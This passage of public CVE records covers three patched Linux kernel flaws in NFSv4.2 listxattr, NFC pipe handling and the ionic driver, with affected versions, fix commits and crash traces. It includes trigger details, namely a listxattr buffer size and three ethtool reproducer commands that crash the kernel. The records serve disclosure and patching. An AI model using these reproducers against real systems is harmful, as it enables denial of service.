          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSv4.2: fix nfs4_listxattr kernel BUG at mm/usercopy.c:102\n\nA call to listxattr() with a buffer size = 0 returns the actual\nsize of the buffer needed for a subsequent call. When size \u003e 0,\nnfs4_listxattr() does not return an error because either\ngeneric_listxattr() or nfs4_listxattr_nfs4_label() consumes\nexactly all the bytes then size is 0 when calling\nnfs4_listxattr_nfs4_user() which then triggers the following\nkernel BUG:\n\n  [   99.403778] kernel BUG at mm/usercopy.c:102!\n  [   99.404063] Internal error: Oops - BUG: 00000000f2000800 [#1] SMP\n  [   99.408463] CPU: 0 PID: 3310 Comm: python3 Not tainted 6.6.0-61.fc40.aarch64 #1\n  [   99.415827] Call trace:\n  [   99.415985]  usercopy_abort+0x70/0xa0\n  [   99.416227]  __check_heap_object+0x134/0x158\n  [   99.416505]  check_heap_object+0x150/0x188\n  [   99.416696]  __check_object_size.part.0+0x78/0x168\n  [   99.416886]  __check_object_size+0x28/0x40\n  [   99.417078]  listxattr+0x8c/0x120\n  [   99.417252]  path_listxattr+0x78/0xe0\n  [   99.417476]  __arm64_sys_listxattr+0x28/0x40\n  [   99.417723]  invoke_syscall+0x78/0x100\n  [   99.417929]  el0_svc_common.constprop.0+0x48/0xf0\n  [   99.418186]  do_el0_svc+0x24/0x38\n  [   99.418376]  el0_svc+0x3c/0x110\n  [   99.418554]  el0t_64_sync_handler+0x120/0x130\n  [   99.418788]  el0t_64_sync+0x194/0x198\n  [   99.418994] Code: aa0003e3 d000a3e0 91310000 97f49bdb (d4210000)\n\nIssue is reproduced when generic_listxattr() returns \u0027system.nfs4_acl\u0027,\nthus calling lisxattr() with size = 16 will trigger the bug.\n\nAdd check on nfs4_listxattr() to return ERANGE error when it is\ncalled with size \u003e 0 and the return value is greater than size."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:43.583Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4403438eaca6e91f02d272211c4d6b045092396b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d52865ff28245fc2134da9f99baff603a24407a"
        },
        {
          "url": "https://git.kernel.org/stable/c/06e828b3f1b206de08ef520fc46a40b22e1869cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/79cdcc765969d23f4e3d6ea115660c3333498768"
        },
        {
          "url": "https://git.kernel.org/stable/c/80365c9f96015bbf048fdd6c8705d3f8770132bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/23bfecb4d852751d5e403557dd500bb563313baf"
        },
        {
          "url": "https://git.kernel.org/stable/c/251a658bbfceafb4d58c76b77682c8bf7bcfad65"
        }
      ],
      "title": "NFSv4.2: fix nfs4_listxattr kernel BUG at mm/usercopy.c:102",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26870",
    "datePublished": "2024-04-17T10:27:30.756Z",
    "dateReserved": "2024-02-19T14:20:24.184Z",
    "dateUpdated": "2026-05-12T11:49:46.342Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21735 (GCVE-0-2025-21735)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:03

Title

NFC: nci: Add bounds checking in nci_hci_create_pipe()

Summary

In the Linux kernel, the following vulnerability has been resolved: NFC: nci: Add bounds checking in nci_hci_create_pipe() The "pipe" variable is a u8 which comes from the network. If it's more than 127, then it results in memory corruption in the caller, nci_hci_connect_gate().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/bd249109d266f1d52…
https://git.kernel.org/stable/c/674e17c5933779a8b…
https://git.kernel.org/stable/c/10b3f947b609713e0…
https://git.kernel.org/stable/c/d5a461c315e5ff926…
https://git.kernel.org/stable/c/172cdfc3a5ea20289…
https://git.kernel.org/stable/c/2ae4bade5a64d126b…
https://git.kernel.org/stable/c/59c7ed20217c09398…
https://git.kernel.org/stable/c/110b43ef05342d5a1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a1b0b9415817c14d207921582f269d03f848b69f , < bd249109d266f1d52548c46634a15b71656e0d44 (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 674e17c5933779a8bf5c15d596fdfcb5ccdebbc2 (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 10b3f947b609713e04022101f492d288a014ddfa (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < d5a461c315e5ff92657f84d8ba50caa5abf5c22a (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 172cdfc3a5ea20289c58fb73dadc6fd4a8784a4e (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 2ae4bade5a64d126bd18eb66bd419005c5550218 (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 59c7ed20217c0939862fbf8145bc49d5b3a13f4f (git) Affected: a1b0b9415817c14d207921582f269d03f848b69f , < 110b43ef05342d5a11284cc8b21582b698b4ef1c (git)
Linux	Linux	Affected: 4.4 Unaffected: 0 , < 4.4 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:40.328Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:33.287Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/hci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bd249109d266f1d52548c46634a15b71656e0d44",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "674e17c5933779a8bf5c15d596fdfcb5ccdebbc2",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "10b3f947b609713e04022101f492d288a014ddfa",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "d5a461c315e5ff92657f84d8ba50caa5abf5c22a",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "172cdfc3a5ea20289c58fb73dadc6fd4a8784a4e",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "2ae4bade5a64d126bd18eb66bd419005c5550218",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "59c7ed20217c0939862fbf8145bc49d5b3a13f4f",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            },
            {
              "lessThan": "110b43ef05342d5a11284cc8b21582b698b4ef1c",
              "status": "affected",
              "version": "a1b0b9415817c14d207921582f269d03f848b69f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/hci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.4"
            },
            {
              "lessThan": "4.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFC: nci: Add bounds checking in nci_hci_create_pipe()\n\nThe \"pipe\" variable is a u8 which comes from the network.  If it\u0027s more\nthan 127, then it results in memory corruption in the caller,\nnci_hci_connect_gate()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:25.663Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bd249109d266f1d52548c46634a15b71656e0d44"
        },
        {
          "url": "https://git.kernel.org/stable/c/674e17c5933779a8bf5c15d596fdfcb5ccdebbc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/10b3f947b609713e04022101f492d288a014ddfa"
        },
        {
          "url": "https://git.kernel.org/stable/c/d5a461c315e5ff92657f84d8ba50caa5abf5c22a"
        },
        {
          "url": "https://git.kernel.org/stable/c/172cdfc3a5ea20289c58fb73dadc6fd4a8784a4e"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ae4bade5a64d126bd18eb66bd419005c5550218"
        },
        {
          "url": "https://git.kernel.org/stable/c/59c7ed20217c0939862fbf8145bc49d5b3a13f4f"
        },
        {
          "url": "https://git.kernel.org/stable/c/110b43ef05342d5a11284cc8b21582b698b4ef1c"
        }
      ],
      "title": "NFC: nci: Add bounds checking in nci_hci_create_pipe()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21735",
    "datePublished": "2025-02-27T02:12:12.202Z",
    "dateReserved": "2024-12-29T08:45:45.756Z",
    "dateUpdated": "2026-05-12T12:03:33.287Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39502 (GCVE-0-2024-39502)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:20 – Updated: 2026-05-12 11:55

Title

ionic: fix use after netif_napi_del()

Summary

In the Linux kernel, the following vulnerability has been resolved: ionic: fix use after netif_napi_del() When queues are started, netif_napi_add() and napi_enable() are called. If there are 4 queues and only 3 queues are used for the current configuration, only 3 queues' napi should be registered and enabled. The ionic_qcq_enable() checks whether the .poll pointer is not NULL for enabling only the using queue' napi. Unused queues' napi will not be registered by netif_napi_add(), so the .poll pointer indicates NULL. But it couldn't distinguish whether the napi was unregistered or not because netif_napi_del() doesn't reset the .poll pointer to NULL. So, ionic_qcq_enable() calls napi_enable() for the queue, which was unregistered by netif_napi_del(). Reproducer: ethtool -L <interface name> rx 1 tx 1 combined 0 ethtool -L <interface name> rx 0 tx 0 combined 1 ethtool -L <interface name> rx 0 tx 0 combined 4 Splat looks like: kernel BUG at net/core/dev.c:6666! Oops: invalid opcode: 0000 [#1] PREEMPT SMP NOPTI CPU: 3 PID: 1057 Comm: kworker/3:3 Not tainted 6.10.0-rc2+ #16 Workqueue: events ionic_lif_deferred_work [ionic] RIP: 0010:napi_enable+0x3b/0x40 Code: 48 89 c2 48 83 e2 f6 80 b9 61 09 00 00 00 74 0d 48 83 bf 60 01 00 00 00 74 03 80 ce 01 f0 4f RSP: 0018:ffffb6ed83227d48 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff97560cda0828 RCX: 0000000000000029 RDX: 0000000000000001 RSI: 0000000000000000 RDI: ffff97560cda0a28 RBP: ffffb6ed83227d50 R08: 0000000000000400 R09: 0000000000000001 R10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000 R13: ffff97560ce3c1a0 R14: 0000000000000000 R15: ffff975613ba0a20 FS: 0000000000000000(0000) GS:ffff975d5f780000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f8f734ee200 CR3: 0000000103e50000 CR4: 00000000007506f0 PKRU: 55555554 Call Trace: <TASK> ? die+0x33/0x90 ? do_trap+0xd9/0x100 ? napi_enable+0x3b/0x40 ? do_error_trap+0x83/0xb0 ? napi_enable+0x3b/0x40 ? napi_enable+0x3b/0x40 ? exc_invalid_op+0x4e/0x70 ? napi_enable+0x3b/0x40 ? asm_exc_invalid_op+0x16/0x20 ? napi_enable+0x3b/0x40 ionic_qcq_enable+0xb7/0x180 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8] ionic_start_queues+0xc4/0x290 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8] ionic_link_status_check+0x11c/0x170 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8] ionic_lif_deferred_work+0x129/0x280 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8] process_one_work+0x145/0x360 worker_thread+0x2bb/0x3d0 ? __pfx_worker_thread+0x10/0x10 kthread+0xcc/0x100 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x2d/0x50 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0d19267cb150e8f76…
https://git.kernel.org/stable/c/ff9c2a9426ecf5b96…
https://git.kernel.org/stable/c/8edd18dab443863e9…
https://git.kernel.org/stable/c/60cd714871cd5a683…
https://git.kernel.org/stable/c/183ebc167a8a19e91…
https://git.kernel.org/stable/c/a87d72b37b9ec2c1e…
https://git.kernel.org/stable/c/79f18a41dd056115d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < 0d19267cb150e8f76ade210e16ee820a77f684e7 (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < ff9c2a9426ecf5b9631e9fd74993b357262387d6 (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < 8edd18dab443863e9e48f084e7f123fca3065e4e (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < 60cd714871cd5a683353a355cbb17a685245cf84 (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < 183ebc167a8a19e916b885d4bb61a3491991bfa5 (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < a87d72b37b9ec2c1e18fe36b09241d8b30334a2e (git) Affected: 0f3154e6bcb354968cc04f7cd86ce466f7b9a814 , < 79f18a41dd056115d685f3b0a419c7cd40055e13 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:56:21.973Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0d19267cb150e8f76ade210e16ee820a77f684e7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ff9c2a9426ecf5b9631e9fd74993b357262387d6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8edd18dab443863e9e48f084e7f123fca3065e4e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/60cd714871cd5a683353a355cbb17a685245cf84"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/183ebc167a8a19e916b885d4bb61a3491991bfa5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a87d72b37b9ec2c1e18fe36b09241d8b30334a2e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/79f18a41dd056115d685f3b0a419c7cd40055e13"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39502",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:07:07.252622Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:40.350Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:35.054Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/pensando/ionic/ionic_lif.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0d19267cb150e8f76ade210e16ee820a77f684e7",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "ff9c2a9426ecf5b9631e9fd74993b357262387d6",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "8edd18dab443863e9e48f084e7f123fca3065e4e",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "60cd714871cd5a683353a355cbb17a685245cf84",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "183ebc167a8a19e916b885d4bb61a3491991bfa5",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "a87d72b37b9ec2c1e18fe36b09241d8b30334a2e",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            },
            {
              "lessThan": "79f18a41dd056115d685f3b0a419c7cd40055e13",
              "status": "affected",
              "version": "0f3154e6bcb354968cc04f7cd86ce466f7b9a814",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/pensando/ionic/ionic_lif.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nionic: fix use after netif_napi_del()\n\nWhen queues are started, netif_napi_add() and napi_enable() are called.\nIf there are 4 queues and only 3 queues are used for the current\nconfiguration, only 3 queues\u0027 napi should be registered and enabled.\nThe ionic_qcq_enable() checks whether the .poll pointer is not NULL for\nenabling only the using queue\u0027 napi. Unused queues\u0027 napi will not be\nregistered by netif_napi_add(), so the .poll pointer indicates NULL.\nBut it couldn\u0027t distinguish whether the napi was unregistered or not\nbecause netif_napi_del() doesn\u0027t reset the .poll pointer to NULL.\nSo, ionic_qcq_enable() calls napi_enable() for the queue, which was\nunregistered by netif_napi_del().\n\nReproducer:\n   ethtool -L \u003cinterface name\u003e rx 1 tx 1 combined 0\n   ethtool -L \u003cinterface name\u003e rx 0 tx 0 combined 1\n   ethtool -L \u003cinterface name\u003e rx 0 tx 0 combined 4\n\nSplat looks like:\nkernel BUG at net/core/dev.c:6666!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 3 PID: 1057 Comm: kworker/3:3 Not tainted 6.10.0-rc2+ #16\nWorkqueue: events ionic_lif_deferred_work [ionic]\nRIP: 0010:napi_enable+0x3b/0x40\nCode: 48 89 c2 48 83 e2 f6 80 b9 61 09 00 00 00 74 0d 48 83 bf 60 01 00 00 00 74 03 80 ce 01 f0 4f\nRSP: 0018:ffffb6ed83227d48 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff97560cda0828 RCX: 0000000000000029\nRDX: 0000000000000001 RSI: 0000000000000000 RDI: ffff97560cda0a28\nRBP: ffffb6ed83227d50 R08: 0000000000000400 R09: 0000000000000001\nR10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000\nR13: ffff97560ce3c1a0 R14: 0000000000000000 R15: ffff975613ba0a20\nFS:  0000000000000000(0000) GS:ffff975d5f780000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f8f734ee200 CR3: 0000000103e50000 CR4: 00000000007506f0\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n ? die+0x33/0x90\n ? do_trap+0xd9/0x100\n ? napi_enable+0x3b/0x40\n ? do_error_trap+0x83/0xb0\n ? napi_enable+0x3b/0x40\n ? napi_enable+0x3b/0x40\n ? exc_invalid_op+0x4e/0x70\n ? 